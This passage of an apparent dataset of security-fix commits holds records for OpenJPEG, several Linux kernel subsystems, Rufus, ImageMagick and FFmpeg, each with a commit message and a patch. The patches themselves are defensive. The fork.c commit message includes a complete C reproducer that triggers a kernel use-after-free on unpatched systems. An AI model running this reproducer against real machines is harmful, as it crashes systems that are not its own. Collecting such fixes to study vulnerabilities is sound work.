+4217,12 @@ static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_UNUSED(p_stream);\n OPJ_UNUSED(p_manager);\n \n+ if (p_total_data_size < 12) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"Not enough bytes in output buffer to write SOT marker\\n\");\n+ return OPJ_FALSE;\n+ }\n+\n opj_write_bytes(p_data, J2K_MS_SOT,\n 2); /* SOT */\n p_data += 2;\n@@ -11480,7 +11489,8 @@ static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k,\n \n l_current_nb_bytes_written = 0;\n l_begin_data = p_data;\n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size,\n+ &l_current_nb_bytes_written, p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }\n@@ -11572,7 +11582,10 @@ static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k,\n l_part_tile_size = 0;\n l_begin_data = p_data;\n \n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data,\n+ p_total_data_size,\n+ &l_current_nb_bytes_written,\n+ p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }\n@@ -11615,7 +11628,9 @@ static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k,\n l_part_tile_size = 0;\n l_begin_data = p_data;\n \n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data,\n+ p_total_data_size,\n+ &l_current_nb_bytes_written, p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }", "sections": [{"section": "@@ -832,13 +832,15 @@ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k,\n * Writes the SOT marker (Start of tile-part)\n *\n * @param p_j2k J2K codec.\n- * @param p_data FIXME DOC\n- * @param p_data_written FIXME DOC\n+ * @param p_data Output buffer\n+ * @param p_total_data_size Output buffer size\n+ * @param p_data_written Number of bytes written into stream\n * @param p_stream the stream to write data to.\n * @param p_manager the user event manager.\n */\n static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_BYTE * p_data,\n+ OPJ_UINT32 p_total_data_size,\n OPJ_UINT32 * p_data_written,\n const opj_stream_private_t *p_stream,\n opj_event_mgr_t * p_manager);\n", "related": false}, {"section": "@@ -4201,6 +4203,7 @@ static OPJ_BOOL opj_j2k_write_tlm(opj_j2k_t *p_j2k,\n \n static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_BYTE * p_data,\n+ OPJ_UINT32 p_total_data_size,\n OPJ_UINT32 * p_data_written,\n const opj_stream_private_t *p_stream,\n opj_event_mgr_t * p_manager\n", "related": false}, {"section": "@@ -4214,6 +4217,12 @@ static OPJ_BOOL opj_j2k_write_sot(opj_j2k_t *p_j2k,\n OPJ_UNUSED(p_stream);\n OPJ_UNUSED(p_manager);\n \n+ if (p_total_data_size < 12) {\n+ opj_event_msg(p_manager, EVT_ERROR,\n+ \"Not enough bytes in output buffer to write SOT marker\\n\");\n+ return OPJ_FALSE;\n+ }\n+\n opj_write_bytes(p_data, J2K_MS_SOT,\n 2); /* SOT */\n p_data += 2;\n", "related": false}, {"section": "@@ -11480,7 +11489,8 @@ static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k,\n \n l_current_nb_bytes_written = 0;\n l_begin_data = p_data;\n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size,\n+ &l_current_nb_bytes_written, p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }\n", "related": false}, {"section": "@@ -11572,7 +11582,10 @@ static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k,\n l_part_tile_size = 0;\n l_begin_data = p_data;\n \n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data,\n+ p_total_data_size,\n+ &l_current_nb_bytes_written,\n+ p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }\n", "related": false}, {"section": "@@ -11615,7 +11628,9 @@ static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k,\n l_part_tile_size = 0;\n l_begin_data = p_data;\n \n- if (! opj_j2k_write_sot(p_j2k, p_data, &l_current_nb_bytes_written, p_stream,\n+ if (! opj_j2k_write_sot(p_j2k, p_data,\n+ p_total_data_size,\n+ &l_current_nb_bytes_written, p_stream,\n p_manager)) {\n return OPJ_FALSE;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/keys/encrypted-keys/encrypted.c", "commit_id": "363b02dab09b3226f3bd1420dad9c72b79a42a76", "commit_message": "KEYS: Fix race between updating and finding a negative key\n\nConsolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection\nerror into one field such that:\n\n (1) The instantiation state can be modified/read atomically.\n\n (2) The error can be accessed atomically with the state.\n\n (3) The error isn't stored unioned with the payload pointers.\n\nThis deals with the problem that the state is spread over three different\nobjects (two bits and a separate variable) and reading or updating them\natomically isn't practical, given that not only can uninstantiated keys\nchange into instantiated or rejected keys, but rejected keys can also turn\ninto instantiated keys - and someone accessing the key might not be using\nany locking.\n\nThe main side effect of this problem is that what was held in the payload\nmay change, depending on the state. For instance, you might observe the\nkey to be in the rejected state. You then read the cached error, but if\nthe key semaphore wasn't locked, the key might've become instantiated\nbetween the two reads - and you might now have something in hand that isn't\nactually an error code.\n\nThe state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error\ncode if the key is negatively instantiated. The key_is_instantiated()\nfunction is replaced with key_is_positive() to avoid confusion as negative\nkeys are also 'instantiated'.\n\nAdditionally, barriering is included:\n\n (1) Order payload-set before state-set during instantiation.\n\n (2) Order state-read before payload-read when using the key.\n\nFurther separate barriering is necessary if RCU is being used to access the\npayload content after reading the payload pointers.\n\nFixes: 146aa8b1453b (\"KEYS: Merge the type-specific data with the payload data\")\nCc: stable@vger.kernel.org # v4.4+\nReported-by: Eric Biggers \nSigned-off-by: David Howells \nReviewed-by: Eric Biggers ", "patch": "@@ -854,7 +854,7 @@ static int encrypted_update(struct key *key, struct key_preparsed_payload *prep)\n \tsize_t datalen = prep->datalen;\n \tint ret = 0;\n \n-\tif (test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\tif (key_is_negative(key))\n \t\treturn -ENOKEY;\n \tif (datalen <= 0 || datalen > 32767 || !prep->data)\n \t\treturn -EINVAL;", "sections": [{"section": "@@ -854,7 +854,7 @@ static int encrypted_update(struct key *key, struct key_preparsed_payload *prep)\n \tsize_t datalen = prep->datalen;\n \tint ret = 0;\n \n-\tif (test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\tif (key_is_negative(key))\n \t\treturn -ENOKEY;\n \tif (datalen <= 0 || datalen > 32767 || !prep->data)\n \t\treturn -EINVAL;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/keys/user_defined.c", "commit_id": "363b02dab09b3226f3bd1420dad9c72b79a42a76", "commit_message": "KEYS: Fix race between updating and finding a negative key\n\nConsolidate KEY_FLAG_INSTANTIATED, KEY_FLAG_NEGATIVE and the rejection\nerror into one field such that:\n\n (1) The instantiation state can be modified/read atomically.\n\n (2) The error can be accessed atomically with the state.\n\n (3) The error isn't stored unioned with the payload pointers.\n\nThis deals with the problem that the state is spread over three different\nobjects (two bits and a separate variable) and reading or updating them\natomically isn't practical, given that not only can uninstantiated keys\nchange into instantiated or rejected keys, but rejected keys can also turn\ninto instantiated keys - and someone accessing the key might not be using\nany locking.\n\nThe main side effect of this problem is that what was held in the payload\nmay change, depending on the state. For instance, you might observe the\nkey to be in the rejected state. You then read the cached error, but if\nthe key semaphore wasn't locked, the key might've become instantiated\nbetween the two reads - and you might now have something in hand that isn't\nactually an error code.\n\nThe state is now KEY_IS_UNINSTANTIATED, KEY_IS_POSITIVE or a negative error\ncode if the key is negatively instantiated. The key_is_instantiated()\nfunction is replaced with key_is_positive() to avoid confusion as negative\nkeys are also 'instantiated'.\n\nAdditionally, barriering is included:\n\n (1) Order payload-set before state-set during instantiation.\n\n (2) Order state-read before payload-read when using the key.\n\nFurther separate barriering is necessary if RCU is being used to access the\npayload content after reading the payload pointers.\n\nFixes: 146aa8b1453b (\"KEYS: Merge the type-specific data with the payload data\")\nCc: stable@vger.kernel.org # v4.4+\nReported-by: Eric Biggers \nSigned-off-by: David Howells \nReviewed-by: Eric Biggers ", "patch": "@@ -114,7 +114,7 @@ int user_update(struct key *key, struct key_preparsed_payload *prep)\n \n \t/* attach the new data, displacing the old */\n \tkey->expiry = prep->expiry;\n-\tif (!test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\tif (key_is_positive(key))\n \t\tzap = dereference_key_locked(key);\n \trcu_assign_keypointer(key, prep->payload.data[0]);\n \tprep->payload.data[0] = NULL;\n@@ -162,7 +162,7 @@ EXPORT_SYMBOL_GPL(user_destroy);\n void user_describe(const struct key *key, struct seq_file *m)\n {\n \tseq_puts(m, key->description);\n-\tif (key_is_instantiated(key))\n+\tif (key_is_positive(key))\n \t\tseq_printf(m, \": %u\", key->datalen);\n }\n ", "sections": [{"section": "@@ -114,7 +114,7 @@ int user_update(struct key *key, struct key_preparsed_payload *prep)\n \n \t/* attach the new data, displacing the old */\n \tkey->expiry = prep->expiry;\n-\tif (!test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\tif (key_is_positive(key))\n \t\tzap = dereference_key_locked(key);\n \trcu_assign_keypointer(key, prep->payload.data[0]);\n \tprep->payload.data[0] = NULL;\n", "related": false}, {"section": "@@ -162,7 +162,7 @@ EXPORT_SYMBOL_GPL(user_destroy);\n void user_describe(const struct key *key, struct seq_file *m)\n {\n \tseq_puts(m, key->description);\n-\tif (key_is_instantiated(key))\n+\tif (key_is_positive(key))\n \t\tseq_printf(m, \": %u\", key->datalen);\n }\n ", "related": false}]} +{"owner": "pbatard", "repo": "rufus", "language": "C", "file_name": "src/stdlg.c", "commit_id": "c3c39f7f8a11f612c4ebf7affce25ec6928eb1cb", "commit_message": "[pki] fix https://www.kb.cert.org/vuls/id/403768\n\n* This commit effectively fixes https://www.kb.cert.org/vuls/id/403768 (CVE-2017-13083) as\n it is described per its revision 11, which is the latest revision at the time of this commit,\n by disabling Windows prompts, enacted during signature validation, that allow the user to\n bypass the intended signature verification checks.\n* It needs to be pointed out that the vulnerability (\"allow(ing) the use of a self-signed\n certificate\"), which relies on the end-user actively ignoring a Windows prompt that tells\n them that the update failed the signature validation whilst also advising against running it,\n is being fully addressed, even as the update protocol remains HTTP.\n* It also need to be pointed out that the extended delay (48 hours) between the time the\n vulnerability was reported and the moment it is fixed in our codebase has to do with\n the fact that the reporter chose to deviate from standard security practices by not\n disclosing the details of the vulnerability with us, be it publicly or privately,\n before creating the cert.org report. The only advance notification we received was a\n generic note about the use of HTTP vs HTTPS, which, as have established, is not\n immediately relevant to addressing the reported vulnerability.\n* Closes #1009\n* Note: The other vulnerability scenario described towards the end of #1009, which\n doesn't have to do with the \"lack of CA checking\", will be addressed separately.", "patch": "@@ -1674,8 +1674,12 @@ INT_PTR CALLBACK NewVersionCallback(HWND hDlg, UINT message, WPARAM wParam, LPAR\n \t\t\tcase 2:\t\t// Launch newer version and close this one\n \t\t\t\tSleep(1000);\t// Add a delay on account of antivirus scanners\n \n-\t\t\t\tif (ValidateSignature(hDlg, filepath) != NO_ERROR)\n+\t\t\t\tif (ValidateSignature(hDlg, filepath) != NO_ERROR) {\n+\t\t\t\t\t// Unconditionally delete the download and disable the \"Launch\" control\n+\t\t\t\t\t_unlinkU(filepath);\n+\t\t\t\t\tEnableWindow(GetDlgItem(hDlg, IDC_DOWNLOAD), FALSE);\n \t\t\t\t\tbreak;\n+\t\t\t\t}\n \n \t\t\t\tmemset(&si, 0, sizeof(si));\n \t\t\t\tmemset(&pi, 0, sizeof(pi));", "sections": [{"section": "@@ -1674,8 +1674,12 @@ INT_PTR CALLBACK NewVersionCallback(HWND hDlg, UINT message, WPARAM wParam, LPAR\n \t\t\tcase 2:\t\t// Launch newer version and close this one\n \t\t\t\tSleep(1000);\t// Add a delay on account of antivirus scanners\n \n-\t\t\t\tif (ValidateSignature(hDlg, filepath) != NO_ERROR)\n+\t\t\t\tif (ValidateSignature(hDlg, filepath) != NO_ERROR) {\n+\t\t\t\t\t// Unconditionally delete the download and disable the \"Launch\" control\n+\t\t\t\t\t_unlinkU(filepath);\n+\t\t\t\t\tEnableWindow(GetDlgItem(hDlg, IDC_DOWNLOAD), FALSE);\n \t\t\t\t\tbreak;\n+\t\t\t\t}\n \n \t\t\t\tmemset(&si, 0, sizeof(si));\n \t\t\t\tmemset(&pi, 0, sizeof(pi));", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "coders/ycbcr.c", "commit_id": "241988ca28139ad970c1d9717c419f41e360ddb0", "commit_message": "fix memory leak in ReadYCBCRImage as SetImageExtent failure", "patch": "@@ -212,6 +212,7 @@ static Image *ReadYCBCRImage(const ImageInfo *image_info,\n if (status == MagickFalse)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n+ canvas_image=DestroyImage(canvas_image);\n return(DestroyImageList(image));\n }\n SetImageColorspace(image,YCbCrColorspace,exception);", "sections": [{"section": "@@ -212,6 +212,7 @@ static Image *ReadYCBCRImage(const ImageInfo *image_info,\n if (status == MagickFalse)\n {\n quantum_info=DestroyQuantumInfo(quantum_info);\n+ canvas_image=DestroyImage(canvas_image);\n return(DestroyImageList(image));\n }\n SetImageColorspace(image,YCbCrColorspace,exception);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/fork.c", "commit_id": "2b7e8665b4ff51c034c55df3cff76518d1a9ee3a", "commit_message": "fork: fix incorrect fput of ->exe_file causing use-after-free\n\nCommit 7c051267931a (\"mm, fork: make dup_mmap wait for mmap_sem for\nwrite killable\") made it possible to kill a forking task while it is\nwaiting to acquire its ->mmap_sem for write, in dup_mmap().\n\nHowever, it was overlooked that this introduced an new error path before\na reference is taken on the mm_struct's ->exe_file. Since the\n->exe_file of the new mm_struct was already set to the old ->exe_file by\nthe memcpy() in dup_mm(), it was possible for the mmput() in the error\npath of dup_mm() to drop a reference to ->exe_file which was never\ntaken.\n\nThis caused the struct file to later be freed prematurely.\n\nFix it by updating mm_init() to NULL out the ->exe_file, in the same\nplace it clears other things like the list of mmaps.\n\nThis bug was found by syzkaller. It can be reproduced using the\nfollowing C program:\n\n #define _GNU_SOURCE\n #include \n #include \n #include \n #include \n #include \n #include \n\n static void *mmap_thread(void *_arg)\n {\n for (;;) {\n mmap(NULL, 0x1000000, PROT_READ,\n MAP_POPULATE|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);\n }\n }\n\n static void *fork_thread(void *_arg)\n {\n usleep(rand() % 10000);\n fork();\n }\n\n int main(void)\n {\n fork();\n fork();\n fork();\n for (;;) {\n if (fork() == 0) {\n pthread_t t;\n\n pthread_create(&t, NULL, mmap_thread, NULL);\n pthread_create(&t, NULL, fork_thread, NULL);\n usleep(rand() % 10000);\n syscall(__NR_exit_group, 0);\n }\n wait(NULL);\n }\n }\n\nNo special kernel config options are needed. It usually causes a NULL\npointer dereference in __remove_shared_vm_struct() during exit, or in\ndup_mmap() (which is usually inlined into copy_process()) during fork.\nBoth are due to a vm_area_struct's ->vm_file being used after it's\nalready been freed.\n\nGoogle Bug Id: 64772007\n\nLink: http://lkml.kernel.org/r/20170823211408.31198-1-ebiggers3@gmail.com\nFixes: 7c051267931a (\"mm, fork: make dup_mmap wait for mmap_sem for write killable\")\nSigned-off-by: Eric Biggers \nTested-by: Mark Rutland \nAcked-by: Michal Hocko \nCc: Dmitry Vyukov \nCc: Ingo Molnar \nCc: Konstantin Khlebnikov \nCc: Oleg Nesterov \nCc: Peter Zijlstra \nCc: Vlastimil Babka \nCc: \t[v4.7+]\nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -806,6 +806,7 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,\n \tmm_init_cpumask(mm);\n \tmm_init_aio(mm);\n \tmm_init_owner(mm, p);\n+\tRCU_INIT_POINTER(mm->exe_file, NULL);\n \tmmu_notifier_mm_init(mm);\n \tinit_tlb_flush_pending(mm);\n #if defined(CONFIG_TRANSPARENT_HUGEPAGE) && !USE_SPLIT_PMD_PTLOCKS", "sections": [{"section": "@@ -806,6 +806,7 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p,\n \tmm_init_cpumask(mm);\n \tmm_init_aio(mm);\n \tmm_init_owner(mm, p);\n+\tRCU_INIT_POINTER(mm->exe_file, NULL);\n \tmmu_notifier_mm_init(mm);\n \tinit_tlb_flush_pending(mm);\n #if defined(CONFIG_TRANSPARENT_HUGEPAGE) && !USE_SPLIT_PMD_PTLOCKS", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavcodec/vc2enc_dwt.c", "commit_id": "94e538aebbc9f9c529e8b1f2eda860cfb8c473b1", "commit_message": "vc2enc_dwt: pad the temporary buffer by the slice size\n\nSince non-Haar wavelets need to look into pixels outside the frame, we\nneed to pad the buffer. The old factor of two seemed to be a workaround\nthat fact and only padded to the left and bottom. This correctly pads\nby the slice size and as such reduces memory usage and potential\nexploits.\nReported by Liu Bingchang.\n\nIdeally, there should be no temporary buffer but the encoder is designed\nto deinterleave the coefficients into the classical wavelet structure\nwith the lower frequency values in the top left corner.\n\nSigned-off-by: Rostislav Pehlivanov \n(cherry picked from commit 3228ac730c11eca49d5680d5550128e397061c85)", "patch": "@@ -211,19 +211,25 @@ static void vc2_subband_dwt_53(VC2TransformContext *t, dwtcoef *data,\n deinterleave(data, stride, width, height, synth);\n }\n \n-av_cold int ff_vc2enc_init_transforms(VC2TransformContext *s, int p_width, int p_height)\n+av_cold int ff_vc2enc_init_transforms(VC2TransformContext *s, int p_stride,\n+ int p_height, int slice_w, int slice_h)\n {\n s->vc2_subband_dwt[VC2_TRANSFORM_9_7] = vc2_subband_dwt_97;\n s->vc2_subband_dwt[VC2_TRANSFORM_5_3] = vc2_subband_dwt_53;\n \n- s->buffer = av_malloc(2*p_width*p_height*sizeof(dwtcoef));\n+ /* Pad by the slice size, only matters for non-Haar wavelets */\n+ s->buffer = av_calloc((p_stride + slice_w)*(p_height + slice_h), sizeof(dwtcoef));\n if (!s->buffer)\n return 1;\n \n+ s->padding = (slice_h >> 1)*p_stride + (slice_w >> 1);\n+ s->buffer += s->padding;\n+\n return 0;\n }\n \n av_cold void ff_vc2enc_free_transforms(VC2TransformContext *s)\n {\n- av_freep(&s->buffer);\n+ av_free(s->buffer - s->padding);\n+ s->buffer = NULL;\n }", "sections": [{"section": "@@ -211,19 +211,25 @@ static void vc2_subband_dwt_53(VC2TransformContext *t, dwtcoef *data,\n deinterleave(data, stride, width, height, synth);\n }\n \n-av_cold int ff_vc2enc_init_transforms(VC2TransformContext *s, int p_width, int p_height)\n+av_cold int ff_vc2enc_init_transforms(VC2TransformContext *s, int p_stride,\n+ int p_height, int slice_w, int slice_h)\n {\n s->vc2_subband_dwt[VC2_TRANSFORM_9_7] = vc2_subband_dwt_97;\n s->vc2_subband_dwt[VC2_TRANSFORM_5_3] = vc2_subband_dwt_53;\n \n- s->buffer = av_malloc(2*p_width*p_height*sizeof(dwtcoef));\n+ /* Pad by the slice size, only matters for non-Haar wavelets */\n+ s->buffer = av_calloc((p_stride + slice_w)*(p_height + slice_h), sizeof(dwtcoef));\n if (!s->buffer)\n return 1;\n \n+ s->padding = (slice_h >> 1)*p_stride + (slice_w >> 1);\n+ s->buffer += s->padding;\n+\n return 0;\n }\n \n av_cold void ff_vc2enc_free_transforms(VC2TransformContext *s)\n {\n- av_freep(&s->buffer);\n+ av_free(s->buffer - s->padding);\n+ s->buffer = NULL;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/input/tablet/gtco.c", "commit_id": "a50829479f58416a013a4ccca791336af3c584c7", "commit_message": "Input: gtco - fix potential out-of-bound access\n\nparse_hid_report_descriptor() has a while (i < length) loop, which\nonly guarantees that there's at least 1 byte in the buffer, but the\nloop body can read multiple bytes which causes out-of-bounds access.\n\nReported-by: Andrey Konovalov \nReviewed-by: Andrey Konovalov \nCc: stable@vger.kernel.org\nSigned-off-by: Dmitry Torokhov ", "patch": "@@ -230,22 +230,25 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report,\n \n \t/* Walk this report and pull out the info we need */\n \twhile (i < length) {\n-\t\tprefix = report[i];\n-\n-\t\t/* Skip over prefix */\n-\t\ti++;\n+\t\tprefix = report[i++];\n \n \t\t/* Determine data size and save the data in the proper variable */\n-\t\tsize = PREF_SIZE(prefix);\n+\t\tsize = (1U << PREF_SIZE(prefix)) >> 1;\n+\t\tif (i + size > length) {\n+\t\t\tdev_err(ddev,\n+\t\t\t\t\"Not enough data (need %d, have %d)\\n\",\n+\t\t\t\ti + size, length);\n+\t\t\tbreak;\n+\t\t}\n+\n \t\tswitch (size) {\n \t\tcase 1:\n \t\t\tdata = report[i];\n \t\t\tbreak;\n \t\tcase 2:\n \t\t\tdata16 = get_unaligned_le16(&report[i]);\n \t\t\tbreak;\n-\t\tcase 3:\n-\t\t\tsize = 4;\n+\t\tcase 4:\n \t\t\tdata32 = get_unaligned_le32(&report[i]);\n \t\t\tbreak;\n \t\t}", "sections": [{"section": "@@ -230,22 +230,25 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report,\n \n \t/* Walk this report and pull out the info we need */\n \twhile (i < length) {\n-\t\tprefix = report[i];\n-\n-\t\t/* Skip over prefix */\n-\t\ti++;\n+\t\tprefix = report[i++];\n \n \t\t/* Determine data size and save the data in the proper variable */\n-\t\tsize = PREF_SIZE(prefix);\n+\t\tsize = (1U << PREF_SIZE(prefix)) >> 1;\n+\t\tif (i + size > length) {\n+\t\t\tdev_err(ddev,\n+\t\t\t\t\"Not enough data (need %d, have %d)\\n\",\n+\t\t\t\ti + size, length);\n+\t\t\tbreak;\n+\t\t}\n+\n \t\tswitch (size) {\n \t\tcase 1:\n \t\t\tdata = report[i];\n \t\t\tbreak;\n \t\tcase 2:\n \t\t\tdata16 = get_unaligned_le16(&report[i]);\n \t\t\tbreak;\n-\t\tcase 3:\n-\t\t\tsize = 4;\n+\t\tcase 4:\n \t\t\tdata32 = get_unaligned_le32(&report[i]);\n \t\t\tbreak;\n \t\t}", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/seq_device.c", "commit_id": "fc27fe7e8deef2f37cba3f2be2d52b6ca5eb9d57", "commit_message": "ALSA: seq: Cancel pending autoload work at unbinding device\n\nALSA sequencer core has a mechanism to load the enumerated devices\nautomatically, and it's performed in an off-load work. This seems\ncausing some race when a sequencer is removed while the pending\nautoload work is running. As syzkaller spotted, it may lead to some\nuse-after-free:\n BUG: KASAN: use-after-free in snd_rawmidi_dev_seq_free+0x69/0x70\n sound/core/rawmidi.c:1617\n Write of size 8 at addr ffff88006c611d90 by task kworker/2:1/567\n\n CPU: 2 PID: 567 Comm: kworker/2:1 Not tainted 4.13.0+ #29\n Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011\n Workqueue: events autoload_drivers\n Call Trace:\n __dump_stack lib/dump_stack.c:16 [inline]\n dump_stack+0x192/0x22c lib/dump_stack.c:52\n print_address_description+0x78/0x280 mm/kasan/report.c:252\n kasan_report_error mm/kasan/report.c:351 [inline]\n kasan_report+0x230/0x340 mm/kasan/report.c:409\n __asan_report_store8_noabort+0x1c/0x20 mm/kasan/report.c:435\n snd_rawmidi_dev_seq_free+0x69/0x70 sound/core/rawmidi.c:1617\n snd_seq_dev_release+0x4f/0x70 sound/core/seq_device.c:192\n device_release+0x13f/0x210 drivers/base/core.c:814\n kobject_cleanup lib/kobject.c:648 [inline]\n kobject_release lib/kobject.c:677 [inline]\n kref_put include/linux/kref.h:70 [inline]\n kobject_put+0x145/0x240 lib/kobject.c:694\n put_device+0x25/0x30 drivers/base/core.c:1799\n klist_devices_put+0x36/0x40 drivers/base/bus.c:827\n klist_next+0x264/0x4a0 lib/klist.c:403\n next_device drivers/base/bus.c:270 [inline]\n bus_for_each_dev+0x17e/0x210 drivers/base/bus.c:312\n autoload_drivers+0x3b/0x50 sound/core/seq_device.c:117\n process_one_work+0x9fb/0x1570 kernel/workqueue.c:2097\n worker_thread+0x1e4/0x1350 kernel/workqueue.c:2231\n kthread+0x324/0x3f0 kernel/kthread.c:231\n ret_from_fork+0x25/0x30 arch/x86/entry/entry_64.S:425\n\nThe fix is simply to assure canceling the autoload work at removing\nthe device.\n\nReported-by: Andrey Konovalov \nTested-by: Andrey Konovalov \nCc: \nSigned-off-by: Takashi Iwai ", "patch": "@@ -148,8 +148,10 @@ void snd_seq_device_load_drivers(void)\n \tflush_work(&autoload_work);\n }\n EXPORT_SYMBOL(snd_seq_device_load_drivers);\n+#define cancel_autoload_drivers()\tcancel_work_sync(&autoload_work)\n #else\n #define queue_autoload_drivers() /* NOP */\n+#define cancel_autoload_drivers() /* NOP */\n #endif\n \n /*\n@@ -159,6 +161,7 @@ static int snd_seq_device_dev_free(struct snd_device *device)\n {\n \tstruct snd_seq_device *dev = device->device_data;\n \n+\tcancel_autoload_drivers();\n \tput_device(&dev->dev);\n \treturn 0;\n }", "sections": [{"section": "@@ -148,8 +148,10 @@ void snd_seq_device_load_drivers(void)\n \tflush_work(&autoload_work);\n }\n EXPORT_SYMBOL(snd_seq_device_load_drivers);\n+#define cancel_autoload_drivers()\tcancel_work_sync(&autoload_work)\n #else\n #define queue_autoload_drivers() /* NOP */\n+#define cancel_autoload_drivers() /* NOP */\n #endif\n \n /*\n", "related": false}, {"section": "@@ -159,6 +161,7 @@ static int snd_seq_device_dev_free(struct snd_device *device)\n {\n \tstruct snd_seq_device *dev = device->device_data;\n \n+\tcancel_autoload_drivers();\n \tput_device(&dev->dev);\n \treturn 0;\n }", "related": false}]} +{"owner": "mjg59", "repo": "linux", "language": "C", "file_name": "drivers/acpi/apei/einj.c", "commit_id": "d7a6be58edc01b1c66ecd8fcc91236bfbce0a420", "commit_message": "acpi: Disable APEI error injection if securelevel is set\n\nACPI provides an error injection mechanism, EINJ, for debugging and testing\nthe ACPI Platform Error Interface (APEI) and other RAS features. If\nsupported by the firmware, ACPI specification 5.0 and later provide for a\nway to specify a physical memory address to which to inject the error.\n\nInjecting errors through EINJ can produce errors which to the platform are\nindistinguishable from real hardware errors. This can have undesirable\nside-effects, such as causing the platform to mark hardware as needing\nreplacement.\n\nWhile it does not provide a method to load unauthenticated privileged code,\nthe effect of these errors may persist across reboots and affect trust in\nthe underlying hardware, so disable error injection through EINJ if\nsecurelevel is set.\n\nSigned-off-by: Linn Crosetto ", "patch": "@@ -29,6 +29,7 @@\n #include \n #include \n #include \n+#include \n #include \n \n #include \"apei-internal.h\"\n@@ -521,6 +522,9 @@ static int einj_error_inject(u32 type, u32 flags, u64 param1, u64 param2,\n \tint rc;\n \tu64 base_addr, size;\n \n+\tif (get_securelevel() > 0)\n+\t\treturn -EPERM;\n+\n \t/* If user manually set \"flags\", make sure it is legal */\n \tif (flags && (flags &\n \t\t~(SETWA_FLAGS_APICID|SETWA_FLAGS_MEM|SETWA_FLAGS_PCIE_SBDF)))", "sections": [{"section": "@@ -29,6 +29,7 @@\n #include \n #include \n #include \n+#include \n #include \n \n #include \"apei-internal.h\"\n", "related": false}, {"section": "@@ -521,6 +522,9 @@ static int einj_error_inject(u32 type, u32 flags, u64 param1, u64 param2,\n \tint rc;\n \tu64 base_addr, size;\n \n+\tif (get_securelevel() > 0)\n+\t\treturn -EPERM;\n+\n \t/* If user manually set \"flags\", make sure it is legal */\n \tif (flags && (flags &\n \t\t~(SETWA_FLAGS_APICID|SETWA_FLAGS_MEM|SETWA_FLAGS_PCIE_SBDF)))", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "kernel/bpf/verifier.c", "commit_id": "4374f256ce8182019353c0c639bb8d0695b4c941", "commit_message": "bpf/verifier: fix bounds calculation on BPF_RSH\n\nIncorrect signed bounds were being computed.\nIf the old upper signed bound was positive and the old lower signed bound was\nnegative, this could cause the new upper signed bound to be too low,\nleading to security issues.\n\nFixes: b03c9f9fdc37 (\"bpf/verifier: track signed and unsigned min/max values\")\nReported-by: Jann Horn \nSigned-off-by: Edward Cree \nAcked-by: Alexei Starovoitov \n[jannh@google.com: changed description to reflect bug impact]\nSigned-off-by: Jann Horn \nSigned-off-by: Alexei Starovoitov \nSigned-off-by: Daniel Borkmann ", "patch": "@@ -2190,20 +2190,22 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,\n \t\t\tmark_reg_unknown(env, regs, insn->dst_reg);\n \t\t\tbreak;\n \t\t}\n-\t\t/* BPF_RSH is an unsigned shift, so make the appropriate casts */\n-\t\tif (dst_reg->smin_value < 0) {\n-\t\t\tif (umin_val) {\n-\t\t\t\t/* Sign bit will be cleared */\n-\t\t\t\tdst_reg->smin_value = 0;\n-\t\t\t} else {\n-\t\t\t\t/* Lost sign bit information */\n-\t\t\t\tdst_reg->smin_value = S64_MIN;\n-\t\t\t\tdst_reg->smax_value = 